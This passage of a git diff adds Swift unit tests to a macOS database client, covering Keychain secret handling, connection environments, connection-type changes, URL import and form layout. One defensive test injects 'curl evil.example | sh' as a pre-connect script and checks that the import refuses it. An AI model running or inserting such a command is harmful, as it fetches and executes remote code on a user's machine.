saved") + func refusedWriteIsReported() { + let profile = makeProfile() + keychain.failWrites(to: Self.passwordKey(profile.id)) + + let outcome = storage.save(profile, isNew: true, secrets: [ + .password: .write("hunter2"), + .totpSecret: .write("BASE32"), + ]) + + #expect(outcome == .secretsNotSaved([.password])) + #expect(storage.profile(for: profile.id) != nil) + #expect(keychain.syncedValue(forKey: Self.totpKey(profile.id)) == "BASE32") + } + + @Test("Nothing reaches the Keychain when the record could not be saved") + func noSecretsWithoutARecord() throws { + let defaults = try pool.make().defaults + defaults.set(Data("not json".utf8), forKey: "com.TablePro.sshProfiles") + let corrupted = SSHProfileStorage( + userDefaults: defaults, + keychain: keychain, + syncTracker: SyncChangeTracker(metadataStorage: metadata), + connectionStorage: connections + ) + _ = corrupted.loadProfiles() + let profile = makeProfile() + + #expect(corrupted.save(profile, isNew: true, secrets: [.password: .write("hunter2")]) == .recordNotSaved) + #expect(keychain.syncedValue(forKey: Self.passwordKey(profile.id)) == nil) + } +} diff --git a/apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift b/apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift new file mode 100644 index 0000000000..c215c044a4 --- /dev/null +++ b/apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift @@ -0,0 +1,69 @@ +// +// StoredSecretDraftTests.swift +// TableProTests +// + +import Foundation +import Testing + +@testable import TablePro + +struct StoredSecretDraftTests { + @Test("A Keychain read that failed is unreadable, never absent") + func failedReadsAreUnreadable() { + let failures: [KeychainStringResult] = [.locked, .userCancelled, .authFailed, .error(-25_308)] + for result in failures { + #expect(StoredSecretDraft.Stored(result) == .unreadable) + } + #expect(StoredSecretDraft.Stored(.notFound) == .absent) + #expect(StoredSecretDraft.Stored(.found("")) == .absent) + #expect(StoredSecretDraft.Stored(.found("hunter2")) == .value("hunter2")) + } + + @Test("An unreadable secret left empty is kept, whether or not the method still uses it") + func unreadableSecretIsKept() { + let draft = StoredSecretDraft(stored: .unreadable) + #expect(draft.text.isEmpty) + #expect(draft.showsUnreadableNotice) + #expect(draft.change(inUse: true) == .keep) + #expect(draft.change(inUse: false) == .keep) + #expect(draft.keepsItem(inUse: true)) + } + + @Test("Remove is the only way an unreadable secret is deleted") + func removeDeletesAnUnreadableSecret() { + var draft = StoredSecretDraft(stored: .unreadable) + draft.removesUnreadable = true + #expect(draft.change(inUse: true) == .delete) + #expect(draft.change(inUse: false) == .delete) + #expect(!draft.keepsItem(inUse: true)) + } + + @Test("Typing over an unreadable secret writes the new value") + func typingReplacesAnUnreadableSecret() { + var draft = StoredSecretDraft(stored: .unreadable) + draft.text = "rotated" + #expect(!draft.showsUnreadableNotice) + #expect(draft.change(inUse: true) == .write("rotated")) + } + + @Test("A readable secret is kept unchanged, deleted when cleared or no longer used") + func readableSecretFollowsTheField() { + var draft = StoredSecretDraft(stored: .value("hunter2")) + #expect(draft.text == "hunter2") + #expect(draft.change(inUse: true) == .keep) + #expect(draft.change(inUse: false) == .delete) + + draft.text = "" + #expect(draft.change(inUse: true) == .delete) + #expect(!draft.showsUnreadableNotice) + } + + @Test("A value carried over from the inline tunnel is written to a new profile") + func fallbackIsWrittenWhenNothingIsStored() { + let draft = StoredSecretDraft(stored: .absent, fallback: "inline") + #expect(draft.change(inUse: true) == .write("inline")) + #expect(StoredSecretDraft(stored: .absent).change(inUse: true) == .keep) + #expect(!StoredSecretDraft(stored: .absent).keepsItem(inUse: true)) + } +} diff --git a/apple/TableProTests/Models/Connection/ConnectionEnvironmentTests.swift b/apple/TableProTests/Models/Connection/ConnectionEnvironmentTests.swift new file mode 100644 index 0000000000..4290235d70 --- /dev/null +++ b/apple/TableProTests/Models/Connection/ConnectionEnvironmentTests.swift @@ -0,0 +1,64 @@ +// +// ConnectionEnvironmentTests.swift +// TableProTests +// + +import AppKit +import SwiftUI +@testable import TablePro +import TableProConnectionLibrary +import Testing + +struct ConnectionEnvironmentTests { + @Test("Each environment has a symbol this Mac can draw, and none has no symbol") + func symbols() { + #expect(ConnectionEnvironment.none.symbolName == nil) + for environment in ConnectionEnvironment.allCases where environment != .none { + let image = environment.symbolName.flatMap { NSImage(systemSymbolName: $0, accessibilityDescription: nil) } + #expect(image != nil, "\(environment.rawValue)") + } + } + + @Test("Production never draws the triangle a failed status or a missing driver draws on the same row") + func productionIsNotTheWarningTriangle() { + let production = ConnectionEnvironment.production.symbolName + #expect(production != ConnectionStatusSymbol.failed.systemName) + #expect(production != ConnectionStatusSymbol.lost.systemName) + #expect(production != "exclamationmark.triangle.fill") + } + + @Test("Production is red, Staging orange, Development green, Local secondary") + func tints() { + #expect(ConnectionEnvironment.production.tint == .red) + #expect(ConnectionEnvironment.staging.tint == .orange) + #expect(ConnectionEnvironment.development.tint == .green) + #expect(ConnectionEnvironment.local.tint == .secondary) + } + + @Test("Every environment has its own symbol and tint, so Production stands apart") + func distinctPresentation() { + let shown = ConnectionEnvironment.allCases.filter { $0 != .none } + let symbols = Set(shown.compactMap { $0.symbolName }) + let red = shown.filter { $0.tint == ConnectionEnvironment.production.tint } + #expect(symbols.count == shown.count) + #expect(red == [.production]) + } + + @Test("VoiceOver names the environment so Local does not read as the Local only sync flag") + func accessibilityNames() { + #expect(ConnectionEnvironment.none.accessibilityName == nil) + #expect(ConnectionEnvironment.production.accessibilityName == "Production environment") + #expect(ConnectionEnvironment.staging.accessibilityName == "Staging environment") + #expect(ConnectionEnvironment.development.accessibilityName == "Development environment") + #expect(ConnectionEnvironment.local.accessibilityName == "Local environment") + } + + @Test("The stored field reads back as its environment, and a missing or unknown value as none") + func storedValue() { + #expect(ConnectionEnvironment.stored(in: [ConnectionEnvironment.fieldKey: "production"]) == .production) + #expect(ConnectionEnvironment.stored(in: [ConnectionEnvironment.fieldKey: "local"]) == .local) + #expect(ConnectionEnvironment.stored(in: [ConnectionEnvironment.fieldKey: "qa"]) == .none) + #expect(ConnectionEnvironment.stored(in: [:]) == .none) + #expect(ConnectionEnvironment.stored(in: nil) == .none) + } +} diff --git a/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift b/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift new file mode 100644 index 0000000000..7deb57a799 --- /dev/null +++ b/apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift @@ -0,0 +1,81 @@ +// +// ConnectionTileGlyphColorTests.swift +// TableProTests +// + +import AppKit +import Foundation +import Testing + +@testable import TablePro + +// Brand hues are picked for a white page: on the dark tile PostgreSQL's elephant nearly vanished. +@MainActor +struct ConnectionTileGlyphColorTests { + private static let postgresBlue = NSColor(srgbRed: 0x33 / 255, green: 0x67 / 255, blue: 0x91 / 255, alpha: 1) + private static let orange = NSColor(srgbRed: 0xF2 / 255, green: 0x91 / 255, blue: 0x11 / 255, alpha: 1) + private static let tolerance: CGFloat = 0.01 + + private struct Resolved { + let glyph: NSColor + let tileLuminance: CGFloat + + var contrast: CGFloat { + ConnectionTileMetrics.contrast(glyph.relativeLuminance, tileLuminance) + } + } + + private func resolve(_ brand: NSColor, in name: NSAppearance.Name) throws -> Resolved { + let appearance = try #require(NSAppearance(named: name)) + let color = ConnectionTileMetrics.glyphColor(brand: brand) + var glyph: NSColor? + var tile: CGFloat = 0 + appearance.performAsCurrentDrawingAppearance { + glyph = color.usingColorSpace(.sRGB) + tile = ConnectionTileMetrics.tileLuminance() + } + return Resolved(glyph: try #require(glyph), tileLuminance: tile) + } + + private func hue(of color: NSColor) -> CGFloat { + var hue: CGFloat = 0 + var saturation: CGFloat = 0 + var brightness: CGFloat = 0 + var alpha: CGFloat = 0 + color.usingColorSpace(.sRGB)?.getHue(&hue, saturation: &saturation, brightness: &brightness, alpha: &alpha) + return hue + } + + @Test("PostgreSQL's blue fails on the dark tile as drawn, and the lifted glyph clears 3:1") + func postgresBlueIsLiftedInDarkMode() throws { + let resolved = try resolve(Self.postgresBlue, in: .darkAqua) + let raw = ConnectionTileMetrics.contrast(Self.postgresBlue.relativeLuminance, resolved.tileLuminance) + + #expect(raw < ConnectionTileMetrics.minimumGlyphContrast) + #expect(resolved.contrast >= ConnectionTileMetrics.minimumGlyphContrast - Self.tolerance) + #expect(abs(hue(of: resolved.glyph) - hue(of: Self.postgresBlue)) < Self.tolerance) + } + + @Test("Light Mode draws the brand colour as it is") + func lightModeKeepsTheBrand() throws { + let resolved = try resolve(Self.postgresBlue, in: .aqua) + #expect(abs(resolved.glyph.redComponent - Self.postgresBlue.redComponent) < Self.tolerance) + #expect(abs(resolved.glyph.greenComponent - Self.postgresBlue.greenComponent) < Self.tolerance) + #expect(abs(resolved.glyph.blueComponent - Self.postgresBlue.blueComponent) < Self.tolerance) + } + + @Test("A brand that already clears the dark tile is left alone") + func legibleBrandIsUntouched() throws { + let resolved = try resolve(Self.orange, in: .darkAqua) + #expect(abs(resolved.glyph.redComponent - Self.orange.redComponent) < Self.tolerance) + #expect(abs(resolved.glyph.greenComponent - Self.orange.greenComponent) < Self.tolerance) + #expect(abs(resolved.glyph.blueComponent - Self.orange.blueComponent) < Self.tolerance) + } + + @Test("A hue too dark at full brightness gives up saturation and still clears 3:1") + func pureBlueClearsTheFloor() throws { + let blue = NSColor(srgbRed: 0, green: 0, blue: 1, alpha: 1) + let resolved = try resolve(blue, in: .darkAqua) + #expect(resolved.contrast >= ConnectionTileMetrics.minimumGlyphContrast - Self.tolerance) + } +} diff --git a/apple/TableProTests/Views/Connection/DatabaseTypeInstallCheckTests.swift b/apple/TableProTests/Views/Connection/DatabaseTypeInstallCheckTests.swift new file mode 100644 index 0000000000..dcdd5366a0 --- /dev/null +++ b/apple/TableProTests/Views/Connection/DatabaseTypeInstallCheckTests.swift @@ -0,0 +1,26 @@ +// +// DatabaseTypeInstallCheckTests.swift +// TableProTests +// + +import Foundation +import Testing + +@testable import TablePro + +@MainActor +struct DatabaseTypeInstallCheckTests { + @Test("Only a registry driver that is not installed asks for an install") + func onlyAMissingRegistryDriverAsks() { + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: false, isDownloadable: true) == .install) + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: true, isDownloadable: true) == .ready) + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: true, isDownloadable: false) == .ready) + } + + // A download cannot fix a bundled driver that failed to load; the connect attempt says why. + @Test("A bundled driver that did not load is never offered a download") + func bundledDriverNeverAsks() { + #expect(DatabaseTypeInstallCheck.requirement(isInstalled: false, isDownloadable: false) == .ready) + #expect(DatabaseTypeInstallCheck.requirement(for: .postgresql) == .ready) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftRetypeTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftRetypeTests.swift new file mode 100644 index 0000000000..762cd330a7 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftRetypeTests.swift @@ -0,0 +1,116 @@ +// +// ConnectionDraftRetypeTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionDraftRetypeTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func mysqlDraft() -> ConnectionDraft { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.name = "Shop" + draft.environment = .staging + draft.host = "db.example.com" + draft.setPort("3307", traits: mysql) + draft.database = "shop" + draft.credentials.username = "admin" + draft.credentials.password = "hunter2" + draft.selectTransport(.ssh) + draft.ssh.host = "bastion.example.com" + draft.selectSSLMode(.required) + draft.ssl.clientCertPath = "/client.pem" + draft.ssl.clientKeyPath = "/client.key" + draft.appearance.color = .blue + return draft + } + + @Test("MySQL to MariaDB keeps host, a custom port, the database, the credentials, SSH and SSL") + func networkRetypeKeepsWhatTheNewTypeSupports() { + let proposal = mysqlDraft().retyped(to: traits(.mariadb), from: traits(.mysql)) + let result = proposal.result + #expect(result.type == .mariadb) + #expect(result.name == "Shop") + #expect(result.environment == .staging) + #expect(result.host == "db.example.com") + #expect(result.portText == "3307") + #expect(result.database == "shop") + #expect(result.credentials.username == "admin") + #expect(result.credentials.password == "hunter2") + #expect(result.transport == .ssh) + #expect(result.ssh.host == "bastion.example.com") + #expect(result.ssl.mode == .required) + #expect(result.ssl.clientCertPath == "/client.pem") + #expect(result.appearance.color == .blue) + #expect(!proposal.needsConfirmation) + } + + @Test("A port equal to the old type's default becomes the new type's default") + func defaultPortFollowsTheType() { + let mysql = traits(.mysql) + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + #expect(draft.portText == String(mysql.defaultPort)) + draft.retype(to: postgres, from: mysql) + #expect(draft.portText == String(postgres.defaultPort)) + } + + @Test("A file type drops the password prompt and the credential profile, and says so") + func fileTypeDropsAuthentication() { + var draft = mysqlDraft() + draft.setPasswordPrompt(true, traits: traits(.mysql)) + draft.setCredentialMode(.profile(id: UUID())) + let proposal = draft.retyped(to: traits(.sqlite), from: traits(.mysql)) + let result = proposal.result + #expect(!result.credentials.promptsForPassword) + #expect(result.credentials.mode == .inline) + #expect(result.credentials.password.isEmpty) + #expect(result.database.isEmpty) + #expect(result.transport == nil) + #expect(!ConnectionEditorEngine.effectivePromptForPassword(result, traits(.sqlite))) + #expect(proposal.needsConfirmation) + #expect(proposal.dropped.contains(String(localized: "Credential Profile"))) + #expect(proposal.dropped.contains(String(localized: "Database"))) + #expect(proposal.dropped.contains(ConnectionTunnelKind.ssh.displayName)) + } + + @Test("Every plugin default of the new type is seeded, in every section") + func newTypeDefaultsAreSeeded() { + let duckdb = traits(.duckdb) + let draft = mysqlDraft().retyped(to: duckdb, from: traits(.mysql)).result + for field in duckdb.fields { + guard let defaultValue = field.defaultValue else { continue } + #expect(draft.fieldValues[field.id] == defaultValue, "\(field.id)") + } + } + + @Test("A new connection seeds the defaults of every section once") + func newDraftSeedsEverySection() { + let duckdb = traits(.duckdb) + let draft = ConnectionDraft.new(type: .duckdb, traits: duckdb) + for field in duckdb.fields { + guard let defaultValue = field.defaultValue else { continue } + #expect(draft.fieldValues[field.id] == defaultValue, "\(field.id)") + } + } + + @Test("A chosen SSL mode the new type's tunnel refuses falls back to the type's own resolution") + func refusedSSLModeIsNotKept() { + var mssql = traits(.mssql) + mssql.ssl.modesThroughTunnel = [.disabled, .preferred, .required] + var draft = mysqlDraft() + draft.selectSSLMode(.verifyIdentity) + let result = draft.retyped(to: mssql, from: traits(.mysql)).result + #expect(result.transport == .ssh) + #expect(result.ssl.mode != .verifyIdentity) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift new file mode 100644 index 0000000000..9d2d6e0d31 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift @@ -0,0 +1,148 @@ +// +// ConnectionDraftURLImportTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionDraftURLImportTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func parse(_ url: String) throws -> ParsedConnectionURL { + try ConnectionURLParser.parse(url).get() + } + + @Test("env= sets the environment, not a tag") + func envSetsEnvironment() throws { + let parsed = try parse("postgresql://app@db.example.com/orders?env=production") + #expect(parsed.environment == .production) + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.apply(parsed, traits: postgres, policy: .newConnection) + #expect(draft.environment == .production) + #expect(draft.appearance.tagIds.isEmpty) + #expect(draft.safety.safeModeLevel == .alert) + } + + @Test("Environment names map to the four environments and nothing else") + func environmentNames() { + #expect(ConnectionURLParser.environment(named: "Prod") == .production) + #expect(ConnectionURLParser.environment(named: "staging") == .staging) + #expect(ConnectionURLParser.environment(named: "dev") == .development) + #expect(ConnectionURLParser.environment(named: "local") == .local) + #expect(ConnectionURLParser.environment(named: "qa-eu") == nil) + } + + @Test("A new connection takes the whole URL: name, Safe Mode, TLS off, raw driver options") + func newConnectionTakesEverything() throws { + let parsed = try parse("postgresql://app:pw@db.example.com:6543/orders?name=Orders&sslmode=disable&safemodelevel=0") + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.apply(parsed, traits: postgres, policy: .newConnection) + #expect(draft.name == "Orders") + #expect(draft.host == "db.example.com") + #expect(draft.portText == "6543") + #expect(draft.database == "orders") + #expect(draft.credentials.username == "app") + #expect(draft.credentials.password == "pw") + #expect(draft.ssl.mode == .disabled) + } + + @Test("A paste into a saved connection never renames, lowers Safe Mode or weakens TLS") + func existingConnectionIsGuarded() throws { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.name = "Production Orders" + draft.safety.safeModeLevel = .safeMode + draft.safety.userSetSafeMode = true + draft.selectSSLMode(.verifyIdentity) + let parsed = try parse("postgresql://app@db2.example.com/orders?name=Other&sslmode=disable&safemodelevel=0") + draft.apply(parsed, traits: postgres, policy: .existingConnection) + #expect(draft.name == "Production Orders") + #expect(draft.safety.safeModeLevel == .safeMode) + #expect(draft.ssl.mode == .verifyIdentity) + #expect(draft.host == "db2.example.com") + } + + @Test("A paste into a saved connection adds no raw driver options") + func existingConnectionGetsNoRawOptions() throws { + let mongo = traits(.mongodb) + let parsed = try parse("mongodb://db.example.com/app?tlsInsecure=true&directConnection=true") + var existing = ConnectionDraft.new(type: .mongodb, traits: mongo) + existing.apply(parsed, traits: mongo, policy: .existingConnection) + #expect(!existing.fieldValues.keys.contains { $0.hasPrefix("mongoParam_") }) + + var fresh = ConnectionDraft.new(type: .mongodb, traits: mongo) + fresh.apply(parsed, traits: mongo, policy: .newConnection) + #expect(fresh.fieldValues["mongoParam_tlsInsecure"] == "true") + } + + @Test("Typing a URL one character at a time never fills the form; a paste does") + func onlyAPasteTriggers() { + let url = "postgresql://app@db.example.com/orders" + var typed = "" + for character in url { + let next = typed + String(character) + #expect(ConnectionEditorStore.pastedURL(replacing: typed, with: next) == nil, "\(next)") + typed = next + } + #expect(ConnectionEditorStore.pastedURL(replacing: "", with: url) == url) + #expect(ConnectionEditorStore.pastedURL(replacing: "db", with: "not a url at all") == nil) + } + + @Test("A URL import never carries an app-managed key such as a script") + func appManagedKeysAreRefused() throws { + let parsed = try parse("postgresql://db.example.com/orders") + let injected = ParsedConnectionURL( + type: parsed.type, host: parsed.host, port: parsed.port, database: parsed.database, + username: parsed.username, password: parsed.password, sslMode: parsed.sslMode, + disablesTLS: parsed.disablesTLS, authSource: nil, sshHost: nil, sshPort: nil, sshUsername: nil, + sshPassword: nil, usePrivateKey: nil, useSSHAgent: nil, sshNoAuth: nil, agentSocket: nil, + connectionName: nil, redisDatabase: nil, statusColor: nil, envTag: nil, schema: nil, tableName: nil, + isView: false, filterColumn: nil, filterOperation: nil, filterValue: nil, filterCondition: nil, + oracleServiceName: nil, safeModeLevel: nil, useSrv: false, mongoQueryParams: [:], multiHost: nil, + additionalFields: ["preConnectScript": "curl evil.example | sh", "promptForPassword": "true"] + ) + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.apply(injected, traits: postgres, policy: .newConnection) + #expect(draft.fieldValues["preConnectScript"] == nil) + #expect(draft.options.preConnectScript.isEmpty) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + #expect(edits.additionalFields["preConnectScript"] == nil) + #expect(edits.tunnelCommandMode == .disabled) + #expect(edits.startupCommands == nil) + } + + @Test("Production picks Alert until the user sets Safe Mode; back to Development returns the default") + func productionDefaultsSafeMode() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.setEnvironment(.production) + #expect(draft.safety.safeModeLevel == .alert) + draft.setEnvironment(.development) + #expect(draft.safety.safeModeLevel == .silent) + + draft.setEnvironment(.production) + draft.setSafeModeLevel(.safeMode, floor: nil) + draft.setEnvironment(.development) + #expect(draft.safety.safeModeLevel == .safeMode) + } + + @Test("A loaded connection keeps its Safe Mode when the environment changes") + func loadedConnectionKeepsSafeMode() { + let postgres = traits(.postgresql) + var connection = DatabaseConnection(name: "Orders", type: .postgresql) + connection.preferredSafeModeLevel = .silent + var draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: postgres) + draft.setEnvironment(.production) + #expect(draft.safety.safeModeLevel == .silent) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineEditsTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineEditsTests.swift new file mode 100644 index 0000000000..8e59fe05db --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineEditsTests.swift @@ -0,0 +1,131 @@ +// +// ConnectionEditorEngineEditsTests.swift +// TableProTests +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineEditsTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func filledSecrets(_ draft: inout ConnectionDraft, _ traits: ConnectionTypeTraits) { + for field in traits.fields where field.isSecure { + draft.fieldValues[field.id] = "secret-\(field.id)" + } + draft.fieldValues[ConnectionSecretOptions.mongoSessionTokenFieldId] = "session-token" + } + + @Test("No secure value of the current or the original type reaches the record, for every type and retype") + func secureValuesNeverReachTheRecord() { + let types = DatabaseType.allKnownTypes + let all = Dictionary(uniqueKeysWithValues: types.map { ($0, traits($0)) }) + for type in types { + guard let current = all[type] else { continue } + var draft = ConnectionDraft.new(type: type, traits: current) + filledSecrets(&draft, current) + let forbidden = ConnectionEditorEngine.secretFieldIds(current, originalTraits: nil) + let edits = ConnectionEditorEngine.edits(draft, current, originalTraits: nil, EditorContext()) + #expect(Set(edits.additionalFields.keys).isDisjoint(with: forbidden), "\(type.rawValue)") + #expect(!edits.additionalFields.values.contains { $0.hasPrefix("secret-") || $0 == "session-token" }) + } + for original in types { + guard let originalTraits = all[original] else { continue } + var draft = ConnectionDraft.new(type: original, traits: originalTraits) + filledSecrets(&draft, originalTraits) + for target in types where target != original { + guard let targetTraits = all[target] else { continue } + let retyped = draft.retyped(to: targetTraits, from: originalTraits).result + let edits = ConnectionEditorEngine.edits(retyped, targetTraits, originalTraits: originalTraits, EditorContext()) + #expect( + !edits.additionalFields.values.contains { $0.hasPrefix("secret-") || $0 == "session-token" }, + "\(original.rawValue) to \(target.rawValue)" + ) + } + } + } + + @Test("A stored connection loads and writes back unchanged") + func loadThenEditsRoundTrips() { + var connection = DatabaseConnection( + name: "Orders", + host: "db.example.com", + port: 6_543, + database: "orders", + username: "app", + type: .postgresql + ) + connection.color = .green + connection.tagIds = [UUID()] + connection.connectTimeoutSeconds = 12 + connection.commitMode = .manual + connection.additionalFields[ConnectionEnvironment.fieldKey] = ConnectionEnvironment.production.rawValue + connection.additionalFields["mongoParam_directConnection"] = "true" + let postgres = traits(.postgresql) + let draft = ConnectionDraft.loaded(from: connection, secrets: .none, traits: postgres) + #expect(draft.environment == .production) + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: postgres, EditorContext()) + let saved = edits.applied(to: connection) + #expect(saved.name == connection.name) + #expect(saved.host == connection.host) + #expect(saved.port == connection.port) + #expect(saved.database == connection.database) + #expect(saved.username == connection.username) + #expect(saved.color == connection.color) + #expect(saved.tagIds == connection.tagIds) + #expect(saved.connectTimeoutSeconds == 12) + #expect(saved.commitMode == .manual) + #expect(saved.additionalFields["mongoParam_directConnection"] == "true") + #expect(saved.additionalFields[ConnectionEnvironment.fieldKey] == ConnectionEnvironment.production.rawValue) + } + + @Test("A record moved to a throwaway id keeps every other stored property") + func reassignedRecordKeepsEverything() { + var connection = DatabaseConnection(name: "Orders", type: .postgresql) + connection.sortOrder = 4 + connection.isFavorite = true + connection.isSample = true + connection.aiAlwaysAllowedTools = ["run_query"] + connection.passwordSource = .env(variable: "PGPASSWORD") + connection.origin = .imported + connection.additionalFields["custom"] = "kept" + let testId = UUID() + let moved = ConnectionEditorEngine.record(connection, reassignedTo: testId) + #expect(moved.id == testId) + let labels = Mirror(reflecting: connection).children.compactMap(\.label).filter { $0 != "id" } + let original = Dictionary(uniqueKeysWithValues: Mirror(reflecting: connection).children.compactMap { child in + child.label.map { ($0, String(describing: child.value)) } + }) + let copy = Dictionary(uniqueKeysWithValues: Mirror(reflecting: moved).children.compactMap { child in + child.label.map { ($0, String(describing: child.value)) } + }) + for label in labels { + #expect(original[label] == copy[label], "\(label)") + } + } + + @Test("A name or color edit leaves a test result standing; a host edit does not") + func testFingerprintCoversOnlyWhatATestTouches() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.host = "db.example.com" + let tested = ConnectionEditorEngine.testFingerprint(draft, postgres, originalTraits: nil, EditorContext()) + var renamed = draft + renamed.name = "Renamed" + renamed.appearance.color = .red + #expect(ConnectionEditorEngine.testFingerprint(renamed, postgres, originalTraits: nil, EditorContext()) == tested) + var moved = draft + moved.host = "other.example.com" + #expect(ConnectionEditorEngine.testFingerprint(moved, postgres, originalTraits: nil, EditorContext()) != tested) + var newPassword = draft + newPassword.credentials.password = "changed" + #expect(ConnectionEditorEngine.testFingerprint(newPassword, postgres, originalTraits: nil, EditorContext()) != tested) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift new file mode 100644 index 0000000000..00668abad0 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift @@ -0,0 +1,114 @@ +// +// ConnectionEditorEngineFacetTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorEngineFacetTests { + private func traits(_ type: DatabaseType) -> ConnectionTypeTraits { + ConnectionTypeTraits.live(for: type, pluginManager: .shared) + } + + private func facets(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext = EditorContext()) + -> [ConnectionFacet] { + ConnectionEditorEngine.layout(draft, traits, context).facetIDs + } + + @Test("Facets keep their order, and the ones that always apply are always there") + func alwaysPresentFacets() { + for type in DatabaseType.allKnownTypes { + let traits = traits(type) + let facets = facets(ConnectionDraft.new(type: type, traits: traits), traits) + for always in [ConnectionFacet.general, .appearance, .safeMode, .aiAndMCP, .startup, .advanced] { + #expect(facets.contains(always), "\(type.rawValue) lacks \(always)") + } + let order = ConnectionFacet.allCases.filter { facets.contains($0) } + #expect(order == facets, "\(type.rawValue)") + } + } + + @Test("PostgreSQL shows transports and SSL; over a socket folder it shows neither") + func postgresFacets() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + #expect(facets(draft, postgres).contains(.sshAndProxies)) + #expect(facets(draft, postgres).contains(.sslTLS)) + + draft.selectEndpoint(.localSocket) + #expect(!facets(draft, postgres).contains(.sshAndProxies)) + #expect(!facets(draft, postgres).contains(.sslTLS)) + } + + @Test("SQLite offers Remote File under its own title and no SSL") + func sqliteFacets() throws { + let sqlite = traits(.sqlite) + let draft = ConnectionDraft.new(type: .sqlite, traits: sqlite) + let layout = ConnectionEditorEngine.layout(draft, sqlite, EditorContext()) + let transport = try #require(layout.facet(.sshAndProxies)) + #expect(transport.title == String(localized: "Remote File")) + #expect(layout.facet(.sslTLS) == nil) + #expect(layout.contains(.builtIn(.databaseFile))) + #expect(!layout.contains(.builtIn(.password))) + } + + @Test("A credential profile hides the inline username and password rows") + func profileHidesInlineCredentials() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + var layout = ConnectionEditorEngine.layout(draft, mysql, EditorContext()) + #expect(layout.contains(.builtIn(.username))) + #expect(layout.contains(.builtIn(.password))) + draft.setCredentialMode(.profile(id: UUID())) + layout = ConnectionEditorEngine.layout(draft, mysql, EditorContext()) + #expect(layout.contains(.builtIn(.credentialProfile))) + #expect(!layout.contains(.builtIn(.username))) + #expect(!layout.contains(.builtIn(.password))) + } + + @Test("AI rows follow the AI setting, Local only follows Sync") + func contextDrivenSections() { + let mysql = traits(.mysql) + let draft = ConnectionDraft.new(type: .mysql, traits: mysql) + var context = EditorContext() + var layout = ConnectionEditorEngine.layout(draft, mysql, context) + #expect(layout.contains(.builtIn(.externalAccess))) + #expect(!layout.contains(.builtIn(.aiPolicy))) + #expect(!layout.contains(.builtIn(.localOnly))) + context.aiEnabled = true + context.syncEnabled = true + layout = ConnectionEditorEngine.layout(draft, mysql, context) + #expect(layout.contains(.builtIn(.aiPolicy))) + #expect(layout.contains(.builtIn(.aiRules))) + #expect(layout.contains(.builtIn(.localOnly))) + } + + @Test("Socket clears the transport in the same edit") + func socketClearsTransport() { + let mysql = traits(.mysql) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.selectTransport(.ssh) + draft.sshForwardUnixSocketPath = "/var/run/mysqld.sock" + draft.selectEndpoint(.localSocket) + #expect(draft.transport == nil) + #expect(draft.sshForwardUnixSocketPath.isEmpty) + } + + @Test("Ask Every Time empties the password and turns off a toggle that supplies it") + func promptClearsPasswordSuppliers() { + let postgres = traits(.postgresql) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.credentials.password = "hunter2" + if postgres.field("usePgpass") != nil { + draft.setFieldValue("true", for: "usePgpass") + } + 